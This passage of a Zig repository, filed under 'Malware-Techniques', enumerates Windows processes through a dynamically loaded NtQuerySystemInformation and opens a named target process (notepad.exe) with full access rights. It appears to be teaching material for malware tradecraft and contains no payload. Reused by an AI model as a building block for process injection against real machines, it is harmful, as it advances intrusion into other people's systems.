SYSTEM_HYPERVISOR_BOOT_PAGES_INFORMATION SystemPointerAuthInformation, // SYSTEM_POINTER_AUTH_INFORMATION SystemSecureKernelDebuggerInformation, SystemOriginalImageFeatureInformation, MaxSystemInfoClass, }; // https://processhacker.sourceforge.io/doc/ntbasic_8h.html pub const KPRIORITY = LONG; // https://doxygen.reactos.org/da/df4/struct__SYSTEM__PROCESS__INFORMATION.html pub const SYSTEM_PROCESS_INFORMATION = extern struct { NextEntryOffset: ULONG, NumberOfThreads: ULONG, WorkingSetPrivateSize: LARGE_INTEGER, // VISTA HardFaultCount: ULONG, // WIN7 NumberOfThreadsHighWatermark: ULONG, // WIN7 CycleTime: ULONGLONG, // WIN7 CreateTime: LARGE_INTEGER, UserTime: LARGE_INTEGER, KernelTime: LARGE_INTEGER, ImageName: UNICODE_STRING, BasePriority: KPRIORITY, UniqueProcessId: HANDLE, InheritedFromUniqueProcessId: HANDLE, HandleCount: ULONG, SessionId: ULONG, PageDirectoryBase: ULONG_PTR, // VM_COUNTERS_EX part // NOTE: *NOT* THE SAME AS VM_COUNTERS! PeakVirtualSize: SIZE_T, VirtualSize: SIZE_T, PageFaultCount: ULONG, PeakWorkingSetSize: SIZE_T, WorkingSetSize: SIZE_T, QuotaPeakPagedPoolUsage: SIZE_T, QuotaPagedPoolUsage: SIZE_T, QuotaPeakNonPagedPoolUsage: SIZE_T, QuotaNonPagedPoolUsage: SIZE_T, PagefileUsage: SIZE_T, PeakPagefileUsage: SIZE_T, PrivatePageCount: SIZE_T, // IO_COUNTERS part ReadOperationCount: LARGE_INTEGER, WriteOperationCount: LARGE_INTEGER, OtherOperationCount: LARGE_INTEGER, ReadTransferCount: LARGE_INTEGER, WriteTransferCount: LARGE_INTEGER, OtherTransferCount: LARGE_INTEGER, // SYSTEM_THREAD_INFORMATION TH[1]; - Usually accessed separately }; // Pointer types (equivalent to your typedefs) pub const PUNICODE_STRING = *UNICODE_STRING; pub const PSYSTEM_PROCESS_INFORMATION = *SYSTEM_PROCESS_INFORMATION; // Export commonly used constants pub const SystemProcessInformation = SYSTEM_INFORMATION_CLASS.SystemProcessInformation; ``` ## /src/Malware-Techniques/Process-Enumeration/nt_query_system_information/build.zig ```zig path="/src/Malware-Techniques/Process-Enumeration/nt_query_system_information/build.zig" const std = @import("std"); // Although this function looks imperative, note that its job is to // declaratively construct a build graph that will be executed by an external // runner. pub fn build(b: *std.Build) void { // Standard target options allows the person running `zig build` to choose // what target to build for. Here we do not override the defaults, which // means any target is allowed, and the default is native. Other options // for restricting supported target set are available. const target = b.standardTargetOptions(.{ .default_target = .{ .cpu_arch = .x86_64, .os_tag = .windows } }); // Standard optimization options allow the person running `zig build` to select // between Debug, ReleaseSafe, ReleaseFast, and ReleaseSmall. Here we do not // set a preferred release mode, allowing the user to decide how to optimize. const optimize = b.standardOptimizeOption(.{}); // We will also create a module for our other entry point, 'main.zig'. const exe_mod = b.createModule(.{ // `root_source_file` is the Zig "entry point" of the module. If a module // only contains e.g. external object files, you can make this `null`. // In this case the main source file is merely a path, however, in more // complicated build scripts, this could be a generated file. .root_source_file = b.path("src/main.zig"), .target = target, .optimize = optimize, }); // This creates another `std.Build.Step.Compile`, but this one builds an executable // rather than a static library. const exe = b.addExecutable(.{ .name = "nt_query_system_information", .root_module = exe_mod, }); // This declares intent for the executable to be installed into the // standard location when the user invokes the "install" step (the default // step when running `zig build`). b.installArtifact(exe); // This *creates* a Run step in the build graph, to be executed when another // step is evaluated that depends on it. The next line below will establish // such a dependency. const run_cmd = b.addRunArtifact(exe); // By making the run step depend on the install step, it will be run from the // installation directory rather than directly from within the cache directory. // This is not necessary, however, if the application depends on other installed // files, this ensures they will be present and in the expected location. run_cmd.step.dependOn(b.getInstallStep()); // This allows the user to pass arguments to the application in the build // command itself, like this: `zig build run -- arg1 arg2 etc` if (b.args) |args| { run_cmd.addArgs(args); } // This creates a build step. It will be visible in the `zig build --help` menu, // and can be selected like this: `zig build run` // This will evaluate the `run` step rather than the default, which is "install". const run_step = b.step("run", "Run the app"); run_step.dependOn(&run_cmd.step); const exe_unit_tests = b.addTest(.{ .root_module = exe_mod, }); const run_exe_unit_tests = b.addRunArtifact(exe_unit_tests); // Similar to creating the run step earlier, this exposes a `test` step to // the `zig build --help` menu, providing a way for the user to request // running the unit tests. const test_step = b.step("test", "Run unit tests"); test_step.dependOn(&run_exe_unit_tests.step); } ``` ## /src/Malware-Techniques/Process-Enumeration/nt_query_system_information/build.zig.zon ```zon path="/src/Malware-Techniques/Process-Enumeration/nt_query_system_information/build.zig.zon" .{ // This is the default name used by packages depending on this one. For // example, when a user runs `zig fetch --save <url>`, this field is used // as the key in the `dependencies` table. Although the user can choose a // different name, most users will stick with this provided value. // // It is redundant to include "zig" in this name because it is already // within the Zig package namespace. .name = .nt_query_system_information, // This is a [Semantic Version](https://semver.org/). // In a future version of Zig it will be used for package deduplication. .version = "0.0.0", // Together with name, this represents a globally unique package // identifier. This field is generated by the Zig toolchain when the // package is first created, and then *never changes*. This allows // unambiguous detection of one package being an updated version of // another. // // When forking a Zig project, this id should be regenerated (delete the // field and run `zig build`) if the upstream project is still maintained. // Otherwise, the fork is *hostile*, attempting to take control over the // original project's identity. Thus it is recommended to leave the comment // on the following line intact, so that it shows up in code reviews that // modify the field. .fingerprint = 0xf55d6d011ae2949f, // Changing this has security and trust implications. // Tracks the earliest Zig version that the package considers to be a // supported use case. .minimum_zig_version = "0.14.0", // This field is optional. // Each dependency must either provide a `url` and `hash`, or a `path`. // `zig build --fetch` can be used to fetch all dependencies of a package, recursively. // Once all dependencies are fetched, `zig build` no longer requires // internet connectivity. .dependencies = .{ // See `zig fetch --save <url>` for a command-line interface for adding dependencies. //.example = .{ // // When updating this field to a new URL, be sure to delete the corresponding // // `hash`, otherwise you are communicating that you expect to find the old hash at // // the new URL. If the contents of a URL change this will result in a hash mismatch // // which will prevent zig from using it. // .url = "https://example.com/foo.tar.gz", // // // This is computed from the file contents of the directory of files that is // // obtained after fetching `url` and applying the inclusion rules given by // // `paths`. // // // // This field is the source of truth; packages do not come from a `url`; they // // come from a `hash`. `url` is just one of many possible mirrors for how to // // obtain a package matching this `hash`. // // // // Uses the [multihash](https://multiformats.io/multihash/) format. // .hash = "...", // // // When this is provided, the package is found in a directory relative to the // // build root. In this case the package's hash is irrelevant and therefore not // // computed. This field and `url` are mutually exclusive. // .path = "foo", // // // When this is set to `true`, a package is declared to be lazily // // fetched. This makes the dependency only get fetched if it is // // actually used. // .lazy = false, //}, }, // Specifies the set of files and directories that are included in this package. // Only files and directories listed here are included in the `hash` that // is computed for this package. Only files listed here will remain on disk // when using the zig package manager. As a rule of thumb, one should list // files required for compilation plus any license(s). // Paths are relative to the build root. Use the empty string (`""`) to refer to // the build root itself. // A directory listed here means that all files within, recursively, are included. .paths = .{ "build.zig", "build.zig.zon", "src", // For example... //"LICENSE", //"README.md", }, } ``` ## /src/Malware-Techniques/Process-Enumeration/nt_query_system_information/src/main.zig ```zig path="/src/Malware-Techniques/Process-Enumeration/nt_query_system_information/src/main.zig" const std = @import("std"); const windows = std.os.windows; const print = std.debug.print; const windows_structs = @import("./windows_structs.zig"); // Windows API types const DWORD = windows.DWORD; const HANDLE = windows.HANDLE; const BOOL = windows.BOOL; const ULONG = windows.ULONG; const NTSTATUS = windows.NTSTATUS; const PVOID = ?*anyopaque; const USHORT = windows.USHORT; const PWSTR = windows.PWSTR; const SIZE_T = windows.SIZE_T; const LPCWSTR = windows.LPCWSTR; const HMODULE = windows.HMODULE; const WINAPI = windows.WINAPI; // Configuration const TARGET_PROCESS = "notepad.exe"; // Convert UTF-8 to UTF-16 at compile time const W = std.unicode.utf8ToUtf16LeStringLiteral; const UNICODE_STRING = windows_structs.UNICODE_STRING; const SYSTEM_INFORMATION_CLASS = windows_structs.SYSTEM_INFORMATION_CLASS; const SYSTEM_PROCESS_INFORMATION = windows_structs.SYSTEM_PROCESS_INFORMATION; // Function pointer type for NtQuerySystemInformation const NtQuerySystemInformationFn = *const fn ( SystemInformationClass: SYSTEM_INFORMATION_CLASS, SystemInformation: PVOID, SystemInformationLength: ULONG, ReturnLength: ?*ULONG, ) callconv(WINAPI) NTSTATUS; // ProcessResult structure (equivalent to Rust's Option<(u32, HANDLE)>) const ProcessResult = struct { pid: DWORD, handle: HANDLE, pub fn deinit(self: ProcessResult) void { _ = CloseHandle(self.handle); } }; // External function declarations extern "kernel32" fn GetProcAddress(hModule: HMODULE, lpProcName: [*:0]const u8) callconv(WINAPI) PVOID; extern "kernel32" fn GetModuleHandleW(lpModuleName: LPCWSTR) callconv(WINAPI) ?HMODULE; extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(WINAPI) ?HANDLE; extern "kernel32" fn CloseHandle(hObject: HANDLE) callconv(WINAPI) BOOL; extern "kernel32" fn GetLastError() callconv(WINAPI) DWORD; extern "kernel32" fn HeapAlloc(hHeap: HANDLE, dwFlags: DWORD, dwBytes: SIZE_T) callconv(WINAPI) PVOID; extern "kernel32" fn HeapFree(hHeap: HANDLE, dwFlags: DWORD, lpMem: PVOID) callconv(WINAPI) BOOL; extern "kernel32" fn GetProcessHeap() callconv(WINAPI) HANDLE; // Constants const PROCESS_ALL_ACCESS = 0x001F0FFF; const HEAP_ZERO_MEMORY = 0x00000008; const STATUS_SUCCESS: NTSTATUS = windows.NTSTATUS.SUCCESS; // Helper function to convert UNICODE_STRING to Zig slice fn unicodeStringToSlice(unicode_str: UNICODE_STRING) []u16 { if (unicode_str.Buffer == null or unicode_str.Length == 0) { return &[_]u16{}; } return @as([*]u16, @ptrCast(unicode_str.Buffer))[0 .. unicode_str.Length / 2]; } // Helper function to convert string to lowercase fn toLowercase(allocator: std.mem.Allocator, input: []const u8) ![]u8 { var result = try allocator.alloc(u8, input.len); for (input, 0..) |char, i| { result[i] = std.ascii.toLower(char); } return result; } // Function to get remote process handle using dynamic loading (equivalent to Rust function) fn getRemoteProcessHandle(allocator: std.mem.Allocator, process_name: []const u8) ?ProcessResult { // Load NtQuerySystemInformation dynamically const ntdll = GetModuleHandleW(W("ntdll.dll")) orelse { print("[!] GetModuleHandleW failed!\n", .{}); return null; }; const nt_query_proc = GetProcAddress(ntdll, "NtQuerySystemInformation") orelse { print("[!] GetProcAddress failed!\n", .{}); return null; }; // Cast to function pointer (equivalent to Rust's transmute) const nt_query_sys_info = @as(NtQuerySystemInformationFn, @ptrCast(nt_query_proc)); var return_length: ULONG = 0; // First call to get buffer size _ = nt_query_sys_info(.SystemProcessInformation, null, 0, &return_length); if (return_length == 0) { print("[!] Failed to get buffer size.\n", .{}); return null; } // Allocate buffer (equivalent to Rust's HeapAlloc) const heap = GetProcessHeap(); const proc_info_ptr = HeapAlloc(heap, HEAP_ZERO_MEMORY, return_length) orelse { print("[!] HeapAlloc failed!\n", .{}); return null; }; defer _ = HeapFree(heap, 0, proc_info_ptr); // Second call to get actual data const status = nt_query_sys_info( .SystemProcessInformation, proc_info_ptr, return_length, &return_length, ); if (status != STATUS_SUCCESS) { print("[!] NtQuerySystemInformation failed!\n", .{}); return null; } // Convert target process name to lowercase for comparison const target_lower = toLowercase(allocator, process_name) catch { print("[!] Memory allocation failed for target name.\n", .{}); return null; }; defer allocator.free(target_lower); // Iterate through processes (equivalent to Rust's loop) var proc_info = @as(*SYSTEM_PROCESS_INFORMATION, @ptrCast(@alignCast(proc_info_ptr))); while (true) { // Get process name from UNICODE_STRING const image_name_ptr = proc_info.ImageName.Buffer; const process_id = @as(DWORD, @intCast(@intFromPtr(proc_info.UniqueProcessId))); if (image_name_ptr != null and proc_info.ImageName.Length > 0) { // Convert Unicode string to UTF-8 (equivalent to Rust's OsString::from_wide) const wide_chars = unicodeStringToSlice(proc_info.ImageName); // Convert UTF-16 to UTF-8 var utf8_buffer: [260]u8 = undefined; if (std.unicode.utf16LeToUtf8(&utf8_buffer, wide_chars)) |utf8_len| { const process_name_str = utf8_buffer[0..utf8_len]; // Convert to lowercase for comparison (equivalent to Rust's to_lowercase()) const process_lower = toLowercase(allocator, process_name_str) catch continue; defer allocator.free(process_lower); // Compare process names (case-insensitive, equivalent to Rust comparison) if (std.mem.eql(u8, process_lower, target_lower)) { const handle = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id) orelse { print("[!] OpenProcess failed for PID: {}\n", .{process_id}); continue; }; return ProcessResult{ .pid = process_id, .handle = handle, }; } } else |_| { // Skip processes with encoding errors continue; } } // Move to next process (equivalent to Rust's pointer arithmetic) if (proc_info.NextEntryOffset == 0) { break; } proc_info = @as(*SYSTEM_PROCESS_INFORMATION, @ptrCast(@alignCast(@as([*]u8, @ptrCast(proc_info)) + proc_info.NextEntryOffset))); } return null; } // Wait for user input (equivalent to Rust's stdin().read_line()) fn waitForInput() !void { print("[#] Press Enter to exit...\n", .{}); const stdin = std.io.getStdIn().reader(); _ = try stdin.readByte(); } // Main function (equivalent to Rust's main) pub fn main() !void { var gpa = std.heap.GeneralPurposeAllocator(.{}){}; defer _ = gpa.deinit(); const allocator = gpa.allocator(); // Get remote process handle (equivalent to Rust's match statement) if (getRemoteProcessHandle(allocator, TARGET_PROCESS)) |result| { defer result.deinit(); print("[+] Found process {s} with PID: {}\n", .{ TARGET_PROCESS, result.pid }); } else { print("[!] Could not find process {s}\n", .{TARGET_PROCESS}); } try waitForInput(); } ``` ## /src/Malware-Techniques/Process-Enumeration/nt_query_system_information/src/windows_structs.zig ```zig path="/src/Malware-Techniques/Process-Enumeration/nt_query_system_information/src/windows_structs.zig" const std = @import("std"); const windows = std.os.windows; // Re-export Windows types pub const USHORT = windows.USHORT; pub const ULONG = windows.ULONG; pub const ULONGLONG = windows.ULONGLONG; pub const HANDLE = windows.HANDLE; pub const SIZE_T = windows.SIZE_T; pub const ULONG_PTR = windows.ULONG_PTR; pub const LARGE_INTEGER = windows.LARGE_INTEGER; pub const LONG = windows.LONG; pub const UNICODE_STRING = extern struct { Length: USHORT, MaximumLength: USHORT, Buffer: ?[*:0]u16, // PWSTR in Zig (made optional for null checking) }; // https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntexapi.h#L1324 pub const SYSTEM_INFORMATION_CLASS = enum(c_int) { SystemBasicInformation, // q: SYSTEM_BASIC_INFORMATION SystemProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION SystemPerformanceInformation, // q: SYSTEM_PERFORMANCE_INFORMATION SystemTimeOfDayInformation, // q: SYSTEM_TIMEOFDAY_INFORMATION SystemPathInformation, // not implemented SystemProcessInformation, // q: SYSTEM_PROCESS_INFORMATION SystemCallCountInformation, // q: SYSTEM_CALL_COUNT_INFORMATION SystemDeviceInformation, // q: SYSTEM_DEVICE_INFORMATION SystemProcessorPerformanceInformation, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION (EX in: USHORT ProcessorGroup) SystemFlagsInformation, // q: SYSTEM_FLAGS_INFORMATION SystemCallTimeInformation, // not implemented // SYSTEM_CALL_TIME_INFORMATION // 10 SystemModuleInformation, // q: RTL_PROCESS_MODULES SystemLocksInformation, // q: RTL_PROCESS_LOCKS SystemStackTraceInformation, // q: RTL_PROCESS_BACKTRACES SystemPagedPoolInformation, // not implemented SystemNonPagedPoolInformation, // not implemented SystemHandleInformation, // q: SYSTEM_HANDLE_INFORMATION SystemObjectInformation, // q: SYSTEM_OBJECTTYPE_INFORMATION mixed with SYSTEM_OBJECT_INFORMATION SystemPageFileInformation, // q: SYSTEM_PAGEFILE_INFORMATION SystemVdmInstemulInformation, // q: SYSTEM_VDM_INSTEMUL_INFO SystemVdmBopInformation, // not implemented // 20 SystemFileCacheInformation, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemCache) SystemPoolTagInformation, // q: SYSTEM_POOLTAG_INFORMATION SystemInterruptInformation, // q: SYSTEM_INTERRUPT_INFORMATION (EX in: USHORT ProcessorGroup) SystemDpcBehaviorInformation, // q: SYSTEM_DPC_BEHAVIOR_INFORMATION; s: SYSTEM_DPC_BEHAVIOR_INFORMATION (requires SeLoadDriverPrivilege) SystemFullMemoryInformation, // not implemented // SYSTEM_MEMORY_USAGE_INFORMATION SystemLoadGdiDriverInformation, // s (kernel-mode only) SystemUnloadGdiDriverInformation, // s (kernel-mode only) SystemTimeAdjustmentInformation, // q: SYSTEM_QUERY_TIME_ADJUST_INFORMATION; s: SYSTEM_SET_TIME_ADJUST_INFORMATION (requires SeSystemtimePrivilege) SystemSummaryMemoryInformation, // not implemented // SYSTEM_MEMORY_USAGE_INFORMATION SystemMirrorMemoryInformation, // s (requires license value "Kernel-MemoryMirroringSupported") (requires SeShutdownPrivilege) // 30 SystemPerformanceTraceInformation, // q; s: (type depends on EVENT_TRACE_INFORMATION_CLASS) SystemObsolete0, // not implemented SystemExceptionInformation, // q: SYSTEM_EXCEPTION_INFORMATION SystemCrashDumpStateInformation, // s: SYSTEM_CRASH_DUMP_STATE_INFORMATION (requires SeDebugPrivilege) SystemKernelDebuggerInformation, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION SystemContextSwitchInformation, // q: SYSTEM_CONTEXT_SWITCH_INFORMATION SystemRegistryQuotaInformation, // q: SYSTEM_REGISTRY_QUOTA_INFORMATION; s (requires SeIncreaseQuotaPrivilege) SystemExtendServiceTableInformation, // s (requires SeLoadDriverPrivilege) // loads win32k only SystemPrioritySeperation, // s (requires SeTcbPrivilege) SystemVerifierAddDriverInformation, // s (requires SeDebugPrivilege) // 40 SystemVerifierRemoveDriverInformation, // s (requires SeDebugPrivilege) SystemProcessorIdleInformation, // q: SYSTEM_PROCESSOR_IDLE_INFORMATION (EX in: USHORT ProcessorGroup) SystemLegacyDriverInformation, // q: SYSTEM_LEGACY_DRIVER_INFORMATION SystemCurrentTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION SystemLookasideInformation, // q: SYSTEM_LOOKASIDE_INFORMATION SystemTimeSlipNotification, // s: HANDLE (NtCreateEvent) (requires SeSystemtimePrivilege) SystemSessionCreate, // not implemented SystemSessionDetach, // not implemented SystemSessionInformation, // not implemented (SYSTEM_SESSION_INFORMATION) SystemRangeStartInformation, // q: SYSTEM_RANGE_START_INFORMATION // 50 SystemVerifierInformation, // q: SYSTEM_VERIFIER_INFORMATION; s (requires SeDebugPrivilege) SystemVerifierThunkExtend, // s (kernel-mode only) SystemSessionProcessInformation, // q: SYSTEM_SESSION_PROCESS_INFORMATION SystemLoadGdiDriverInSystemSpace, // s: SYSTEM_GDI_DRIVER_INFORMATION (kernel-mode only) (same as SystemLoadGdiDriverInformation) SystemNumaProcessorMap, // q: SYSTEM_NUMA_INFORMATION SystemPrefetcherInformation, // q; s: PREFETCHER_INFORMATION // PfSnQueryPrefetcherInformation SystemExtendedProcessInformation, // q: SYSTEM_PROCESS_INFORMATION SystemRecommendedSharedDataAlignment, // q: ULONG // KeGetRecommendedSharedDataAlignment SystemComPlusPackage, // q; s: ULONG SystemNumaAvailableMemory, // q: SYSTEM_NUMA_INFORMATION // 60 SystemProcessorPowerInformation, // q: SYSTEM_PROCESSOR_POWER_INFORMATION (EX in: USHORT ProcessorGroup) SystemEmulationBasicInformation, // q: SYSTEM_BASIC_INFORMATION SystemEmulationProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION SystemExtendedHandleInformation, // q: SYSTEM_HANDLE_INFORMATION_EX SystemLostDelayedWriteInformation, // q: ULONG SystemBigPoolInformation, // q: SYSTEM_BIGPOOL_INFORMATION SystemSessionPoolTagInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION SystemSessionMappedViewInformation, // q: SYSTEM_SESSION_MAPPED_VIEW_INFORMATION SystemHotpatchInformation, // q; s: SYSTEM_HOTPATCH_CODE_INFORMATION SystemObjectSecurityMode, // q: ULONG // 70 SystemWatchdogTimerHandler, // s: SYSTEM_WATCHDOG_HANDLER_INFORMATION // (kernel-mode only) SystemWatchdogTimerInformation, // q: SYSTEM_WATCHDOG_TIMER_INFORMATION // (kernel-mode only) SystemLogicalProcessorInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION (EX in: USHORT ProcessorGroup) SystemWow64SharedInformationObsolete, // not implemented SystemRegisterFirmwareTableInformationHandler, // s: SYSTEM_FIRMWARE_TABLE_HANDLER // (kernel-mode only) SystemFirmwareTableInformation, // SYSTEM_FIRMWARE_TABLE_INFORMATION SystemModuleInformationEx, // q: RTL_PROCESS_MODULE_INFORMATION_EX SystemVerifierTriageInformation, // not implemented SystemSuperfetchInformation, // q; s: SUPERFETCH_INFORMATION // PfQuerySuperfetchInformation SystemMemoryListInformation, // q: SYSTEM_MEMORY_LIST_INFORMATION; s: SYSTEM_MEMORY_LIST_COMMAND (requires SeProfileSingleProcessPrivilege) // 80 SystemFileCacheInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (same as SystemFileCacheInformation) SystemThreadPriorityClientIdInformation, // s: SYSTEM_THREAD_CID_PRIORITY_INFORMATION (requires SeIncreaseBasePriorityPrivilege) SystemProcessorIdleCycleTimeInformation, // q: SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION[] (EX in: USHORT ProcessorGroup) SystemVerifierCancellationInformation, // SYSTEM_VERIFIER_CANCELLATION_INFORMATION // name:wow64:whNT32QuerySystemVerifierCancellationInformation SystemProcessorPowerInformationEx, // not implemented SystemRefTraceInformation, // q; s: SYSTEM_REF_TRACE_INFORMATION // ObQueryRefTraceInformation SystemSpecialPoolInformation, // q; s: SYSTEM_SPECIAL_POOL_INFORMATION (requires SeDebugPrivilege) // MmSpecialPoolTag, then MmSpecialPoolCatchOverruns != 0 SystemProcessIdInformation, // q: SYSTEM_PROCESS_ID_INFORMATION SystemErrorPortInformation, // s (requires SeTcbPrivilege) SystemBootEnvironmentInformation, // q: SYSTEM_BOOT_ENVIRONMENT_INFORMATION // 90 SystemHypervisorInformation, // q: SYSTEM_HYPERVISOR_QUERY_INFORMATION SystemVerifierInformationEx, // q; s: SYSTEM_VERIFIER_INFORMATION_EX SystemTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION (requires SeTimeZonePrivilege) SystemImageFileExecutionOptionsInformation, // s: SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION (requires SeTcbPrivilege) SystemCoverageInformation, // q: COVERAGE_MODULES s: COVERAGE_MODULE_REQUEST // ExpCovQueryInformation (requires SeDebugPrivilege) SystemPrefetchPatchInformation, // SYSTEM_PREFETCH_PATCH_INFORMATION SystemVerifierFaultsInformation, // s: SYSTEM_VERIFIER_FAULTS_INFORMATION (requires SeDebugPrivilege) SystemSystemPartitionInformation, // q: SYSTEM_SYSTEM_PARTITION_INFORMATION SystemSystemDiskInformation, // q: SYSTEM_SYSTEM_DISK_INFORMATION SystemProcessorPerformanceDistribution, // q: SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION (EX in: USHORT ProcessorGroup) // 100 SystemNumaProximityNodeInformation, // q; s: SYSTEM_NUMA_PROXIMITY_MAP SystemDynamicTimeZoneInformation, // q; s: RTL_DYNAMIC_TIME_ZONE_INFORMATION (requires SeTimeZonePrivilege) SystemCodeIntegrityInformation, // q: SYSTEM_CODEINTEGRITY_INFORMATION // SeCodeIntegrityQueryInformation SystemProcessorMicrocodeUpdateInformation, // s: SYSTEM_PROCESSOR_MICROCODE_UPDATE_INFORMATION SystemProcessorBrandString, // q: CHAR[] // HaliQuerySystemInformation -> HalpGetProcessorBrandString, info class 23 SystemVirtualAddressInformation, // q: SYSTEM_VA_LIST_INFORMATION[]; s: SYSTEM_VA_LIST_INFORMATION[] (requires SeIncreaseQuotaPrivilege) // MmQuerySystemVaInformation SystemLogicalProcessorAndGroupInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX (EX in: LOGICAL_PROCESSOR_RELATIONSHIP RelationshipType) // since WIN7 // KeQueryLogicalProcessorRelationship SystemProcessorCycleTimeInformation, // q: SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION[] (EX in: USHORT ProcessorGroup) SystemStoreInformation, // q; s: SYSTEM_STORE_INFORMATION (requires SeProfileSingleProcessPrivilege) // SmQueryStoreInformation SystemRegistryAppendString, // s: SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS // 110 SystemAitSamplingValue, // s: ULONG (requires SeProfileSingleProcessPrivilege) SystemVhdBootInformation, // q: SYSTEM_VHD_BOOT_INFORMATION SystemCpuQuotaInformation, // q; s: PS_CPU_QUOTA_QUERY_INFORMATION SystemNativeBasicInformation, // q: SYSTEM_BASIC_INFORMATION SystemErrorPortTimeouts, // SYSTEM_ERROR_PORT_TIMEOUTS SystemLowPriorityIoInformation, // q: SYSTEM_LOW_PRIORITY_IO_INFORMATION SystemTpmBootEntropyInformation, // q: TPM_BOOT_ENTROPY_NT_RESULT // ExQueryTpmBootEntropyInformation SystemVerifierCountersInformation, // q: SYSTEM_VERIFIER_COUNTERS_INFORMATION SystemPagedPoolInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypePagedPool) SystemSystemPtesInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemPtes) // 120 SystemNodeDistanceInformation, // q: USHORT[4*NumaNodes] // (EX in: USHORT NodeNumber) SystemAcpiAuditInformation, // q: SYSTEM_ACPI_AUDIT_INFORMATION // HaliQuerySystemInformation -> HalpAuditQueryResults, info class 26 SystemBasicPerformanceInformation, // q: SYSTEM_BASIC_PERFORMANCE_INFORMATION // name:wow64:whNtQuerySystemInformation_SystemBasicPerformanceInformation SystemQueryPerformanceCounterInformation, // q: SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION // since WIN7 SP1 SystemSessionBigPoolInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION // since WIN8 SystemBootGraphicsInformation, // q; s: SYSTEM_BOOT_GRAPHICS_INFORMATION (kernel-mode only) SystemScrubPhysicalMemoryInformation, // q; s: MEMORY_SCRUB_INFORMATION SystemBadPageInformation, SystemProcessorProfileControlArea, // q; s: SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA SystemCombinePhysicalMemoryInformation, // s: MEMORY_COMBINE_INFORMATION, MEMORY_COMBINE_INFORMATION_EX, MEMORY_COMBINE_INFORMATION_EX2 // 130 SystemEntropyInterruptTimingInformation, // q; s: SYSTEM_ENTROPY_TIMING_INFORMATION SystemConsoleInformation, // q; s: SYSTEM_CONSOLE_INFORMATION SystemPlatformBinaryInformation, // q: SYSTEM_PLATFORM_BINARY_INFORMATION (requires SeTcbPrivilege) SystemPolicyInformation, // q: SYSTEM_POLICY_INFORMATION (Warbird/Encrypt/Decrypt/Execute) SystemHypervisorProcessorCountInformation, // q: SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION SystemDeviceDataInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION SystemDeviceDataEnumerationInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION SystemMemoryTopologyInformation, // q: SYSTEM_MEMORY_TOPOLOGY_INFORMATION SystemMemoryChannelInformation, // q: SYSTEM_MEMORY_CHANNEL_INFORMATION SystemBootLogoInformation, // q: SYSTEM_BOOT_LOGO_INFORMATION // 140 SystemProcessorPerformanceInformationEx, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX // (EX in: USHORT ProcessorGroup) // since WINBLUE SystemCriticalProcessErrorLogInformation, SystemSecureBootPolicyInformation, // q: SYSTEM_SECUREBOOT_POLICY_INFORMATION SystemPageFileInformationEx, // q: SYSTEM_PAGEFILE_INFORMATION_EX SystemSecureBootInformation, // q: SYSTEM_SECUREBOOT_INFORMATION SystemEntropyInterruptTimingRawInformation, SystemPortableWorkspaceEfiLauncherInformation, // q: SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION SystemFullProcessInformation, // q: SYSTEM_PROCESS_INFORMATION with SYSTEM_PROCESS_INFORMATION_EXTENSION (requires admin) SystemKernelDebuggerInformationEx, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX SystemBootMetadataInformation, // 150 SystemSoftRebootInformation, // q: ULONG SystemElamCertificateInformation, // s: SYSTEM_ELAM_CERTIFICATE_INFORMATION SystemOfflineDumpConfigInformation, // q: OFFLINE_CRASHDUMP_CONFIGURATION_TABLE_V2 SystemProcessorFeaturesInformation, // q: SYSTEM_PROCESSOR_FEATURES_INFORMATION SystemRegistryReconciliationInformation, // s: NULL (requires admin) (flushes registry hives) SystemEdidInformation, // q: SYSTEM_EDID_INFORMATION SystemManufacturingInformation, // q: SYSTEM_MANUFACTURING_INFORMATION // since THRESHOLD SystemEnergyEstimationConfigInformation, // q: SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION SystemHypervisorDetailInformation, // q: SYSTEM_HYPERVISOR_DETAIL_INFORMATION SystemProcessorCycleStatsInformation, // q: SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION (EX in: USHORT ProcessorGroup) // 160 SystemVmGenerationCountInformation, SystemTrustedPlatformModuleInformation, // q: SYSTEM_TPM_INFORMATION SystemKernelDebuggerFlags, // SYSTEM_KERNEL_DEBUGGER_FLAGS SystemCodeIntegrityPolicyInformation, // q; s: SYSTEM_CODEINTEGRITYPOLICY_INFORMATION SystemIsolatedUserModeInformation, // q: SYSTEM_ISOLATED_USER_MODE_INFORMATION SystemHardwareSecurityTestInterfaceResultsInformation, SystemSingleModuleInformation, // q: SYSTEM_SINGLE_MODULE_INFORMATION SystemAllowedCpuSetsInformation, 